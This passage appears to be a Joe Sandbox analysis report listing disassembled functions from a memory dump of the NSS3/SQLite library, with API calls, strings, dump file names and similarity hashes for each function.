Instruction Fuzzy Hash: A9516F75B00255DFDB04CFA9C890AAEBBB1FF48308F144169EA05AB752E731EC51CBA5

Function 6CC52F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC52FFD
sqlite3_initialize.NSS3 ref: 6CC53007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC53032
sqlite3_mprintf.NSS3(6CCBAAF9,?), ref: 6CC53073
sqlite3_free.NSS3(?), ref: 6CC530B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CC530C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CC530BB

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: d1d1e8afd9d3691aee06aaeebbf161763dfc774d7a2a1b101029256b03d3d712
Instruction ID: 5f03644b69b03d5c4320614e60288b0d0c014cadf7ce74723a63e3393ef8074c
Opcode Fuzzy Hash: d1d1e8afd9d3691aee06aaeebbf161763dfc774d7a2a1b101029256b03d3d712
Instruction Fuzzy Hash: 5D418071600706ABDB00CF25D880A8AB7E5FF94358F588629EC5987B40F731F976CB91

Function 6CB98CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CBA124D,00000001), ref: 6CB98D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CBA124D,00000001), ref: 6CB98D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CBA124D,00000001), ref: 6CB98D73
PR_Unlock.NSS3(?,?,?,?,?,6CBA124D,00000001), ref: 6CB98D8C

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CBA124D,00000001), ref: 6CB98DBA

Strings

KRAM, xrefs: 6CB98D3E
KRAM, xrefs: 6CB98CF9

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: f1c604d408b074d30bd5d0e24bcd7338428eb665ef5d160d267609880642f4cb
Instruction ID: 50d6583703a567088095afdc0e7ce77e3e0e5518d3e413850597a22f09b1e3fd
Opcode Fuzzy Hash: f1c604d408b074d30bd5d0e24bcd7338428eb665ef5d160d267609880642f4cb
Instruction Fuzzy Hash: B8218DB1A046518FDB00EF38C48455AB7F0FF56308F15897ED89887721EB36E841CB92

Function 6CC90ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CC90EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CC90EFA

Part of subcall function 6CB7AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CB7AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CC90ED9, 6CC90EE5, 6CC90F06, 6CC90F0B
Aborting, xrefs: 6CC90EB3

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 0342315106f231e9045af9100502df8bd51772594a5b6c3b2b067709935de26b
Instruction ID: 9fe29833d17454e5ee7b69974880b0107cd112f0410db468e414a865ac5180fd
Opcode Fuzzy Hash: 0342315106f231e9045af9100502df8bd51772594a5b6c3b2b067709935de26b
Instruction Fuzzy Hash: 410180B6A00114BBDF01AFA4DC8989B3F3DEF4A764F104064FD0A87711E631EA50DBA2

Function 6CC54D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC54DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC54DE0

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC54DCB
invalid, xrefs: 6CC54DB8
API call with %s database connection pointer, xrefs: 6CC54DBD
misuse, xrefs: 6CC54DD5
%s at line %d of [%.10s], xrefs: 6CC54DDA

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 654da5a210515f423ad0ee9079311d26927ef84cc7512777bacce6d074d7ce3a
Instruction ID: 3253eed937966c2b59b37d8a968b1c277bd491a1874a27c68aa915aa4e8ce73b
Opcode Fuzzy Hash: 654da5a210515f423ad0ee9079311d26927ef84cc7512777bacce6d074d7ce3a
Instruction Fuzzy Hash: FBF0E935E146642BD7018197CC10F9637559F01719F8609E0FD087BE52F616A87083C9

Function 6CC54DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC54E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC54E4D

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC54E38
invalid, xrefs: 6CC54E25
API call with %s database connection pointer, xrefs: 6CC54E2A
misuse, xrefs: 6CC54E42
%s at line %d of [%.10s], xrefs: 6CC54E47

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: b875ec05cb8135241f30ddeb2c5d814e93a6b6a4415270d809e82697fc81ee50
Instruction ID: 75138e127a68d7860e1a9019c668d8c969da36b825b6b8d90fc54b66ee365746
Opcode Fuzzy Hash: b875ec05cb8135241f30ddeb2c5d814e93a6b6a4415270d809e82697fc81ee50
Instruction Fuzzy Hash: E6F02721F44968AFEA1180A69C14F86B7858B01329F8964A1FA0877F92F796987042D9

Function 6CB89FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB8A086
EnterCriticalSection.KERNEL32(?), ref: 6CB8A09B
PR_Unlock.NSS3(?), ref: 6CB8A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8A0E9
TlsGetValue.KERNEL32 ref: 6CB8A11B
EnterCriticalSection.KERNEL32(?), ref: 6CB8A12F
PR_Unlock.NSS3(?), ref: 6CB8A148

Part of subcall function 6CBA1A40: PR_Now.NSS3(?,00000000,6CB828AD,00000000,?,6CB9F09A,00000000,6CB828AD,6CB893B0,?,6CB893B0,6CB828AD,00000000,?,00000000), ref: 6CBA1A65

Part of subcall function 6CBA1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CBA4126,?), ref: 6CBA1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8A1A3

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 9b075c4b23e56c4408f146b82a7cdf818c20873007792e8f81a6765ca8b32d2b
Instruction ID: ec32e1ee5c6910fd2629c0bd166b9786d5ff5595588aa45aae1191a7885b597e
Opcode Fuzzy Hash: 9b075c4b23e56c4408f146b82a7cdf818c20873007792e8f81a6765ca8b32d2b
Instruction Fuzzy Hash: EA51F7B1A016809BEB109F79DC44AAF77BCEF87308B154129EC29D7781EF31E945CA91

Function 6CBC0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CBC1444,?,00000001,?,00000000,00000000,?,?,6CBC1444,?,?,00000000,?,?), ref: 6CBC0CB3

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CBC1444,?,00000001,?,00000000,00000000,?,?,6CBC1444,?), ref: 6CBC0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CBC1444,?,00000001,?,00000000,00000000,?,?,6CBC1444,?), ref: 6CBC0DEC

Part of subcall function 6CBE0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CB82AF5,?,?,?,?,?,6CB80A1B,00000000), ref: 6CBE0F1A
Part of subcall function 6CBE0F10: malloc.MOZGLUE(00000001), ref: 6CBE0F30
Part of subcall function 6CBE0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CBE0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CBC1444,?,00000001,?,00000000,00000000,?), ref: 6CBC0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CBC1444,?,00000001,?,00000000), ref: 6CBC0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CBC1444,?,00000001,?,00000000,00000000,?), ref: 6CBC0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CBC1444,?,00000001,?,00000000,00000000,?,?,6CBC1444,?,?,00000000), ref: 6CBC0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CBC1444,?,00000001,?,00000000,00000000,?), ref: 6CBC0E79

Part of subcall function 6CBD1560: TlsGetValue.KERNEL32(00000000,?,6CBA0844,?), ref: 6CBD157A
Part of subcall function 6CBD1560: EnterCriticalSection.KERNEL32(?,?,?,6CBA0844,?), ref: 6CBD158F
Part of subcall function 6CBD1560: PR_Unlock.NSS3(?,?,?,?,6CBA0844,?), ref: 6CBD15B2

Part of subcall function 6CB9B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CBA1397,00000000,?,6CB9CF93,5B5F5EC0,00000000,?,6CBA1397,?), ref: 6CB9B1CB
Part of subcall function 6CB9B1A0: free.MOZGLUE(5B5F5EC0,?,6CB9CF93,5B5F5EC0,00000000,?,6CBA1397,?), ref: 6CB9B1D2

Part of subcall function 6CB989E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CB988AE,-00000008), ref: 6CB98A04
Part of subcall function 6CB989E0: EnterCriticalSection.KERNEL32(?), ref: 6CB98A15
Part of subcall function 6CB989E0: memset.VCRUNTIME140(6CB988AE,00000000,00000132), ref: 6CB98A27
Part of subcall function 6CB989E0: PR_Unlock.NSS3(?), ref: 6CB98A35

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 9b86db9cfa342e48d50d0280266f01cb62e6574c77e48ff1297b5b4f76570844
Instruction ID: 6e11a2983b8fe4721ad1ef8752500fad50e3f753efe74a05e89d4747b3bc0392
Opcode Fuzzy Hash: 9b86db9cfa342e48d50d0280266f01cb62e6574c77e48ff1297b5b4f76570844
Instruction Fuzzy Hash: B851A8F5E002916FEB009F64EC81AAF37A8EF45618F154464ED099B712FB31ED1987A3

Function 6CB76E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CB76ED8
sqlite3_value_text.NSS3(?,?), ref: 6CB76EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CB76FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CB76FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CB76FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CB77010
sqlite3_value_blob.NSS3(?,?), ref: 6CB7701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CB77052

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 14a3a2973cc8d7cd4f8a08f1a05a85c48203d1a7c2e5d3f62baa9709eda86c06
Instruction ID: e0106ae3175b3b6d3f4990fac7f4f843d37bbd10f1dedf43c25ed83f1a784b60
Opcode Fuzzy Hash: 14a3a2973cc8d7cd4f8a08f1a05a85c48203d1a7c2e5d3f62baa9709eda86c06
Instruction Fuzzy Hash: 22619FB1E042868FDF11CF65C8407EEB7B2EF45208F184165DC25ABB51E7329915CBB1

Function 6CBE8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CBE7313), ref: 6CBE8FBB

Part of subcall function 6CBE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB88298,?,?,?,6CB7FCE5,?), ref: 6CBE07BF
Part of subcall function 6CBE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBE07E6
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE081B
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CBE7313), ref: 6CBE9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CBE7313), ref: 6CBE903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CBE7313), ref: 6CBE909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CBE7313), ref: 6CBE90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CBE7313), ref: 6CBE90F1

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CBE7313), ref: 6CBE906B

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CBE7313), ref: 6CBE9128

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 9f5c726c1ced46cd1756d82f98c7db3e1662cf1f0c4ade5b198ceb790e9df0ea
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 70519371E002419BEB10DF6ADC44B96B3F9EF48B98F154129D915D7752EB31E808CA93

Function 6CB99C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CB98850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CBA0715), ref: 6CB98859
Part of subcall function 6CB98850: PR_NewLock.NSS3 ref: 6CB98874
Part of subcall function 6CB98850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CB9888D

PR_NewLock.NSS3 ref: 6CB99CAD

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

TlsGetValue.KERNEL32 ref: 6CB99CE8
EnterCriticalSection.KERNEL32(?,?,6CB9ECEC,6CBA2FCD,00000000,?,6CBA2FCD,?), ref: 6CB99D01
TlsGetValue.KERNEL32(?,?,?,6CB9ECEC,6CBA2FCD,00000000,?,6CBA2FCD,?), ref: 6CB99D38
EnterCriticalSection.KERNEL32(?,?,6CB9ECEC,6CBA2FCD,00000000,?,6CBA2FCD,?), ref: 6CB99D4D
PR_Unlock.NSS3 ref: 6CB99D70
PR_Unlock.NSS3 ref: 6CB99DC3
PR_NewLock.NSS3 ref: 6CB99DDD

Part of subcall function 6CB988D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CBA0725,00000000,00000058), ref: 6CB98906
Part of subcall function 6CB988D0: EnterCriticalSection.KERNEL32(?), ref: 6CB9891A
Part of subcall function 6CB988D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CB9894A
Part of subcall function 6CB988D0: calloc.MOZGLUE(00000001,6CBA072D,00000000,00000000,00000000,?,6CBA0725,00000000,00000058), ref: 6CB98959
Part of subcall function 6CB988D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CB98993
Part of subcall function 6CB988D0: PR_Unlock.NSS3(?), ref: 6CB989AF

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 97e55c0794810cd88c31b580bffe22bd37d7975b197adecd6f98c5bed036436e
Instruction ID: b0a121a92e4bd7a511e2224e0e534e22396979157fd97ab811f386daee574dd9
Opcode Fuzzy Hash: 97e55c0794810cd88c31b580bffe22bd37d7975b197adecd6f98c5bed036436e
Instruction Fuzzy Hash: 67514AB0A056558FDB40AF68C08466EBBF4FF46345F158539D898DB721EB30E884CB92

Function 6CC99EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CC99EC0
EnterCriticalSection.KERNEL32(?), ref: 6CC99EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CC99F73
EnterCriticalSection.KERNEL32(?), ref: 6CC99FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CC99FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CC99FF2
